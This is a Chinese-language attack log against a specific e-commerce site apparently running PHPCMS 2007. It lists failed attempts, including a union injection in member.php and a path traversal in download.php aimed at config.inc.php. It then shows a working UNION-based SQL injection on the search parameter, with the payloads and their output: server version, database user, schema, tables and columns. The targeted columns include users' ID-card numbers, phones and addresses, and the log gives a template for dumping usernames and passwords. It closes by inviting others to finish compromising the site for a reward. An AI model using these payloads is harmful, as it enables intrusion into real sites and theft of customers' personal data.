<http://www.t0001.com/admin.php?mod=phpcms&file=login&forward=http%3A%2F%2Fwww.t0001.com%2Fadmin.php%3Fupload%3D1me%3Dtmp.txt>  
PHPCMS 2007 网站管理登录  
  
<http://tmall.t0001.com/upload/image/9920/crop/1311153335.jpg>  
应该有编辑器  
Article/rss.php? CONFIG[tablepre]-phpcms\_member.html  
没有成功  
测试代码：  
　　member/member.php?username=luoye%cf union select/\*\*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,username,password,57,58,59,60,61,62,63,64,65/\*\*/from/\*\*/phpcms\_member/\*\*/where/\*\*/userid=1/\*  
没成功  
download.php?a\_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=2233577313&ip=119.123.178.19&s=m/&d=1  
不行  
<http://tmall.t0001.com/index.php?mod=shop_view&act=shop_index&userid=1000>  
<http://tmall.t0001.com/index.php?mod=shop_view&act=shop_index&userid=9972>  
查询会员账户  
<http://tmall.t0001.com/index.php?mod=shop_view&act=item&id=1&userid=2&item_no=4>  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=1>  
能注入  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=1> order by 18--错误  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=1> order by 17--正常  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=-1> union select version() /\*  
5.1.22-rc-log  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=-1> union select database() /\*  
tmall  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=-1> union select user() /\*  
[tmall@localhost](mailto:tmall@localhost)  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=-1> union select @@global.version\_compile\_os  
redhat-linux-gnu  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=1> and ord(mid(user(),1,1))=114 /\*  
返回不正常，不是root权限  
猜字段：  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=-1> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--  
或者16，17/\*  返回3,5,6,11  
猜库：  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=-1> union select 1,2,SCHEMA\_NAME,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information\_schema.SCHEMATA--  
或者  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=-1> union select SCHEMA\_NAME,2,3,SCHEMA\_NAME from information\_schema.SCHEMATA  
返回information\_schema（0x696E666F726D6174696F6E5F736368656D61）  
  test（0x74657374） tmall（0x746D616C6C）  
猜表：  
  information\_schema（0x696E666F726D6174696F6E5F736368656D61）  
<http://tmall.t0001.com/index.php?mod=index&act=dosearch&bclass_id=-1> union select 1,2,TABLE\_NAME,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information\_schema.TABLES where TABLE\_SCHEMA=十六进制--  
返回：  CHARACTER\_SETS  COLLATIONS  COLLATION\_CHARACTER\_SET\_APPLICABILITY   
COLUMNS  COLUMN\_PRIVILEGES  ENGINES  EVENTS  FILES  GLOBAL\_STATUS  GLOBAL\_VARIABLES  
KEY\_COLUMN\_USAGE  PARTITIONS  PLUGINS  PROCESSLIST  REFERENTIAL\_CONSTRAI.  
ROUTINES  SCHEMATA  SCHEMA\_PRIVILEGES  SESSION\_STATUS  SESSION\_VARIABLES  
STATISTICS  TABLES  TABLE\_CONSTRAINTS  TABLE\_PRIVILEGES  TRIGGERS  
USER\_PRIVILEGES  VIEWS  
  
   test（0x74657374）  
返回空  
  
   tmall（0x746D616C6C）  
返回：  big\_class  buy\_info  buy\_info\_view  class  complaint  detail\_cat  er\_ji\_class  hangqing  
href\_address  item  item\_collection  item\_commend  item\_shop\_cat  keywords  leave\_words  
mall\_mgr  order\_no  rate  reg  search\_logs  seller\_info  shop\_cart  shop\_collection  
shop\_comend  shop\_item\_cat    
user\_address(0x757365725F61646472657373)  
user\_info（0x757365725F696E666F）  
  
猜字段：  
-1 union select 1,2,COLUMN\_NAME,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information\_schema.COLUMNS where TABLE\_NAME=表（十六进制）--  
   user\_address(0x757365725F61646472657373)  
返回： id  order\_no  user\_id  user\_name  mobile  telphone  address  zip\_code  
  
   user\_info（0x757365725F696E666F）  
返回：  id   userid   truename   id\_card  sex  area  address  zip  
mobile  phone  type  myface  update\_time  
  
  
  
暴密码  
-1 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1  
高级用法（一个可用字段显示两个数据内容）：  
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1  
  
  
   你们接着干吧。拿下联系我...有奖励哦。- -sh3ll#qq.com